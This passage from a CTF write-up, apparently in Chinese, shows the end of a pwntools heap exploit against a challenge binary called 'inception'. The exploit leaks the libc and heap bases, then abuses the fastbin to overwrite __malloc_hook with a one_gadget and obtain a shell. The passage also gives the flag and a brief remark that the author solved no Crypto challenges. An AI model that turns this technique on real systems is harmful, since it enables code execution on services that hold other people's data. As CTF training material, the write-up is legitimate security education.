env={"LD_PRELOAD":"./libc-2.23.so"}) # r = process("./inception") add(2, b"\0"*(0x28)+p64(0x7f)) add(3, b"leak") add(2, b"gap") delete(2) r.sendlineafter(b"> ", b"2") r.sendlineafter(b"> ", b"2") r.recvline() libc = u64(r.recv(6)+b"\0\0") - 0x3c4b78 print("libc base -> "+hex(libc)) delete(1) delete(3) delete(1) r.sendlineafter(b"> ", b"2") r.sendlineafter(b"> ", b"1") r.recvline() heap = u64(r.recv(6)+b"\0\0") - 0x290 print("heap base -> "+hex(heap)) __malloc_hook = libc + 0x3c4b10 tgpos = __malloc_hook - 0x23 print(f"__malloc_hook -> {hex(__malloc_hook)}") print(f"target pos -> {hex(tgpos)}") r.sendlineafter(b"> ", b"1") r.sendlineafter(b"> ", b"2") r.sendafter(b": ", p64(tgpos)) add(2, b"a") add(2, b"a") # raw_input() add(2, b'a'*0x13 + p64(libc+0xf1247)) r.interactive() ``` ![image](https://hackmd.io/_uploads/Sk-Jqi440.png) 腳本裡面沒有包含改寫``__malloc_hook``之後要再去執行一次``malloc``的部分,這部分手動 Flag: ``AIS3{Y0u_h4v3_b33n_succ3ssfully_r3cru1t3d_t0_my_t34m}`` # Crypto 我是腦殘,啥都解不出來